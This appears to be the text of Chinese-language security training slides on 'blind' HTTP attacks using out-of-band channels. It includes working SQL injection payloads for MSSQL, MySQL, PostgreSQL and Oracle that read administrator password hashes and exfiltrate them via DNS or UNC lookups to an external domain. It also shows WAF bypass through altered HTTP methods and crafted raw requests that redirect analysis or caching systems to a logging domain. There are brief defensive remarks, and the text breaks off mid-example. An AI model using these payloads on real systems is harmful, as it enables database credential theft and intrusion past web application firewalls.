攻方:
传统漏洞越来越难挖
大型企业暴露的漏洞越来越少
对于目标站点没有任何思路
守方:
我有WAF还是被黑了
我不对公网开放还是被搞了
我天天内部整改漏洞还是被通报漏洞
1. HTTP 盲攻击是什么
2. 为什么需要HTTP 盲攻击
3. HTTP 盲攻击可能发生的场景
4. HTTP盲攻击的总体利用思路与检测实现思路HTTP 盲攻击是什么Blind Attack , Blind Inject Everything
Blind SqlInject (Normal ,pass)
Blind BypassWaf(Normal,easy,let’s try)
Blind Redirect(abnormal, luck is very important)
Blind CommandInject (how to inject,just don't care)
Blind PostParam (give you more, you accept it)
Blind SSRF (bind local interface and no valid response)
Blind Xss Injection (automatic submit,can not related to request)
Blind LDAP Injection (maybe you are using ldap)
Blind xxe(reverse connect you and get xml parse)
Blind everything everywhere ==> fuzzing...HTTP 盲攻击是什么Blind Attack , Blind Inject Everything
HTTP盲攻击,凡是不直接使用传统的HTTP Request、HTTP Response中的已有数据进行的漏
洞挖掘与分析的攻击方式,都可以称为HTTP 盲攻击。
该攻击适用于一切难以发现传统意义漏洞的系统,也可用于对目标没有任何了解却希望快速
发现高危漏洞,同时不必关心直接目标到底存不存在漏洞的一种攻击方式。
在特定情况下可以配合利用OOB方法为基础突破口可进行检测和利用漏洞的攻击方式。
课程目标:本次课程将会介绍哪些场景可以进行HTTP Blind Attack,并尽量进行初步的分类,
来说明一些复杂网络环境下可能存在的安全漏洞。0x02 为什么需要Blind Attack
1. 传统攻击方式已经没有漏洞可挖
2. 复杂网络环境下的分析系统和监控系统存在安全漏洞无法有效发现0x02 Blind Attack Startup 1. Blind SqlInject (Nothing to say)
2. Blind Web Application Firewall bypass 绕过防护系统(变更HTTP请求方法)
3. Blind Redirect Analysis System 诱骗分析/缓存系统(变更HTTP请求URI)
4. Blind CommandInject【检测】不如都来带外数据通道(OOB)
5. Blind Outer to Internal System由外到内
6. 【检测】手工太麻烦使用自动插件(OOB)
7. Blind PostParam 调用隐藏方法(增加或变更HTTP请求参数)
8. 寻找根源(大数据寻找源IP/新域名)1. 数据获取(经典的SQL注入利用)
问题: 目标存在注入,无法回显数据
解决:利用DNS或HTTP请求获取数据
目标:在无法回显的情况下获取有价值的数据信息
防护: 限制非法的外联,包括DNS的解析Blind SqlInject Retrieve Data (OOB) MSSQL
DECLARE @host varchar(1024); SELECT @host=(SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash)
FROM sys.sql_logins WHERE name='sa') +'.s.livesina.com'; EXEC('master..xp_dirtree "\\'+@host+'\foobar$"');
MYSQL
SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT
1),'.s.livesina.com\\abc'));
PostgreSQL:
DROP TABLE IF EXISTS table_output; CREATE TABLE table_output(content text); CREATE OR REPLACE FUNCTION
temp_function() RETURNS VOID AS $$ DECLARE exec_cmd TEXT; DECLARE query_result TEXT; BEGIN SELECT
INTO query_result (SELECT passwd FROM pg_shadow WHERE usename='postgres'); exec_cmd := E'COPY
table_output(content) FROM E\'\\\\\\\\'||query_result||E'.s.livesina.com\\\\foobar.txt\''; EXECUTE exec_cmd; END;
$$ LANGUAGE plpgsql SECURITY DEFINER; SELECT temp_function();Blind SqlInject Retrieve Data (OOB) Oracle:
Example1:
SELECT UTL_INADDR.GET_HOST_ADDRESS('test.y.s.livesina.com');
Example2:
SELECT UTL_HTTP.REQUEST('http://test.y.livesina.com/test') FROM DUAL; Example3:
SELECT UTL_HTTP.REQUEST('http://test.y.livesina.com/test') FROM DUAL; Example4:
SELECT HTTPURITYPE('http://test.y.livesina.com/test').GETCLOB() FROM DUAL;
Example5:
SELECT DBMS_LDAP.INIT(('test.s.livesina.com',80) FROM DUAL;
Example6:
SELECT DBMS_LDAP.INIT((SELECT password FROM SYS.USER$ WHERE
name='SYS')||'.s.livesina.com',80) FROM DUAL;2. 绕过防护系统(变更HTTP请求方式)
问题: 目标存在WAF,无法SQL注入,无法命令注入
解决:变更HTTP请求方法,WAF只处理GET、POST规则,其他自动放行。
代理服务器存在方法默认映射,不认识的方法映射为GET
目标:完成SQL注入、命令执行等
防护:更新WAF机制Blind Web Application Firewall bypass 1
GET /test?id=123 HTTP/1.1 LOL /test?id=123 HTTP/1.1 (当然可以尝试其他字符串)
Host: sina.cn
Connection: close
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://sina.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2
Cookie: a=bBlind Web Application Firewall bypass 1 Blind Web Application Firewall bypass 2
POST /test HTTP/1.1
Host: sina.cn
Connection: close
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://sina.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2
Cookie: a=b
c=d Blind Web Application Firewall bypass 2 POST /test.php HTTP/1.1
Host: target.com
Content-Length: 297
Pragma: no-cache
Cache-Control: no-cache
Content-Type: multipart/form-data; boundary=--------1004104974
…
Cookie: a=b
Connection: close
----------1004104974
Content-Disposition: form-data; name="file"; filename=""
Content-Type: application/octet-stream
----------1004104974
Content-Disposition: form-data; name="c"
d
----------1004104974
Content-Disposition: form-data; name="submit"
Submit
----------1004104974--Blind Web Application Firewall bypass
脚本检测方式:
1>变更请求方式,对比返回差异
*2>发送Payload触发Waf拦截,对比变更请求方法前后的差异
判据:
1> 返回内容不属于黑名单内容
2> 返回内容在变更方法前后保持一致
黑名单:
设置返回黑名单,如403、405或特征字符串3. 诱骗分析/缓存系统(变更HTTP请求URI)
问题: 没有思路
解决:变更HTTP请求URI,目标处理产生异常,分析异常找到攻击思路
目标:触发异常,分析攻击思路Blind Redirect Analysis System 1 (Change URI 1)
GET /test HTTP/1.1 GET test.randkey.yourloggingdomain.com HTTP/1.1
Host: sina.cn
Connection: close
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://sina.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2
Cookie: a=bBlind Redirect Analysis System 1 (Change URI 2)
GET /test HTTP/1.1 GET @test.randkey.yourloggingdomain.com HTTP/1.1
Host: sina.cn
Connection: close
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://sina.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2
Cookie: a=bBlind Redirect Analysis System 1(Change URI 2)
GET /test HTTP/1.1 GET http://test.randkey.yourloggingdomain.com HTTP/1.1
Host: sina.cn
Connection: close
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://sina.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2
Cookie: a=bBlind Redirect Analysis System 1 得到的请求 Why this request?
不合理的URL拼接
发生后我们才知道的漏洞Blind Redirect Caching System 2
Normal Request
GET /test HTTP/1.1
Host: sina.cn sina.cn@test.randkey.yourloggingdomain.com
Connection: close
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/60.0.3112.113 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://sina.cn/
Accept-Encoding: gzip, deflate, br
Accept-Language: en,en-CA;q=0.8,be;q=0.6,zh-CN;q=0.4,zh;q=0.2
Cookie: a=bBlind Redirect Caching System 2
Normal Request
HTTP/1.1 200 OK
Content-Type: text/html;charset=utf-8